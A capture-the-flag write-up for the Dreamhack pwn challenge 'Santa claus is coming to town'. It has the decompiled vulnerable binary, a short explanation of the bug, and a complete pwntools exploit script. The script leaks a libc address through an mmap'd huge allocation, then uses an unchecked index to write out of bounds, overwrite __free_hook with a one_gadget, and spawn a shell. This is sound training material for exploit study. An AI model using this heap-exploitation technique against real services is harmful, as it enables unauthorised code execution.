pwn - 721 - Santa claus is coming to town

산타 할아버지는 알고계신대. 누가 착한 앤지 나쁜 앤지 ...??? 어떻게??? 취약점을 찾아 셀을 획득한 후 flag 파일을 읽으세요. 플래그 형식은 DH{…} 입니다.

Vulnerability: arbitrary size allocation; out-of-bound write - improper index check

December 23, 2025 December 18, 2025 Easy

Recon

Mitigation

Code

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+8h] [rbp-1B8h] BYREF
  int v4; // [rsp+Ch] [rbp-1B4h]
  __int64 v5; // [rsp+10h] [rbp-1B0h] BYREF
  __int64 v6; // [rsp+18h] [rbp-1A8h] BYREF
  int s[102]; // [rsp+20h] [rbp-1A0h] BYREF
  unsigned __int64 v8; // [rsp+1B8h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v3 = 0;
  v4 = 0;
  v5 = 0LL;
  v6 = 0LL;
  memset(s, 0, 400uLL);
  intro();
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      v3 = 0;
      __isoc99_scanf("%d", &v3);
      if ( v3 == 2 )
        break;
      if ( v3 == 3 )
      {
        if ( (unsigned int)santa_came(s) )
        {
          puts("Santa Claus : Oh... You're such an honest kid.");
          puts("Santa Claus : Tell me if you have any memories you want to change and erase in this year.");
          v4 = check_offset();
          if ( !v4 )
            exit(0);
          printf("what line you edit : ");
          __isoc99_scanf("%ld", &v6);
          if ( v6 < 0 )
          {
            puts("Wrong input");
            exit(0);
          }
          printf("Change memories to : ");
          read(0, (void *)(16 * (v6 - 1) + *(_QWORD *)&s[4 * v4 + 2]), 0x10uLL);
          free(*(void **)&s[4 * v4 + 2]);
          exit(0);
        }
        puts("Santa Claus just left...");
        exit(0);
      }
      if ( v3 == 1 )
      {
        v4 = check_offset();
        if ( v4 )
        {
          if ( v4 == s[4 * v4] )
          {
            puts("You already wrote.");
          }
          else
          {
            s[4 * v4] = v4;
            printf("How many lines will to write? (1 line = 16 words) : ");
            __isoc99_scanf("%ld", &v5);
            s[4 * v4 + 1] = v5;
            *(_QWORD *)&s[4 * v4 + 2] = malloc(16 * v5);
            puts("\n~~~~~~~~~~contents~~~~~~~~~~");
            read(0, *(void **)&s[4 * v4 + 2], 16 * v5 - 1);
          }
        }
      }
      else
      {
        puts("Wrong input");
      }
    }
    v4 = check_offset();
    if ( v4 )
    {
      if ( s[4 * v4] )
      {
        printf("\nPages : %p\n", *(const void **)&s[4 * v4 + 2]);
        printf("Contents : %s", *(const char **)&s[4 * v4 + 2]);
      }
      else
      {
        puts("You haven't written yet.");
      }
    }
  }
}
// 920: using guessed type __int64 __isoc99_scanf(const char *, ...);
// A80: using guessed type __int64 __fastcall init(_QWORD, _QWORD, _QWORD);
// AFC: using guessed type __int64 check_offset(void);
// B91: using guessed type __int64 __fastcall santa_came(_QWORD);
// C07: using guessed type __int64 intro(void);
// C91: using guessed type __int64 print_menu(void);
// CD9: using guessed type _DWORD s[102];

//----- (00000000000010C0) ----------------------------------------------------
void __fastcall _libc_csu_init(unsigned int a1, __int64 a2, __int64 a3)
{
  signed __int64 v4; // rbp
  __int64 i; // rbx

  v4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;
  init_proc();
  if ( v4 )
  {
    for ( i = 0LL; i != v4; ++i )
      ((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);
  }
}

Solve

Malloc một chunk size cực lớn -> mmap sẽ được dùng để lấy một vùng ngay sau heap và trước libc. Từ địa chỉ chunk tính được địa chỉ libc. Sau đó chọn option 3, không kiểm tra line -> out of bound write -> overwrite free hook.

Script

#!/usr/bin/env python3

from pwn import *

exe = ELF("santa_coming_to_town_patched")
libc = ELF("libc-2.27.so")
ld = ELF("ld-2.27.so")

context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

pa = lambda text, addr: print(text, hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset

gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = "host3.dreamhack.games"
        port = 10078
        return remote(host, port)

p = conn()

def write_diary(offset, lines, content):
    slan(p, b'>>', 1)
    slan(p, b'date', offset)
    slan(p, b'to write?', lines)
    sla(p, b'contents', content)

def read_diary(offset):
    slan(p, b'>>', 2)
    slan(p, b'date', offset)

for i in range(2, 26):
    write_diary(i, 1, b'A')

write_diary(1, 4096 * 50, b'A')

read_diary(1)

ru(p, b'Pages : ')
heap_leak = leak_hex(rn(p, 14))
pa("heap leak", heap_leak)

libc.address = heap_leak + 0x320ff0
pa("libc base", libc.address)

free_hook = heap_leak + 16 * (0x70e8e - 1)
pa("free hook", free_hook)

slan(p, b'>>', 3)
slan(p, b'date', 1)
slan(p, b'edit', 0x70e8e)
sla(p, b'memories', b'A' * 8 + p64(libc.address + 0x4f302))

ia(p)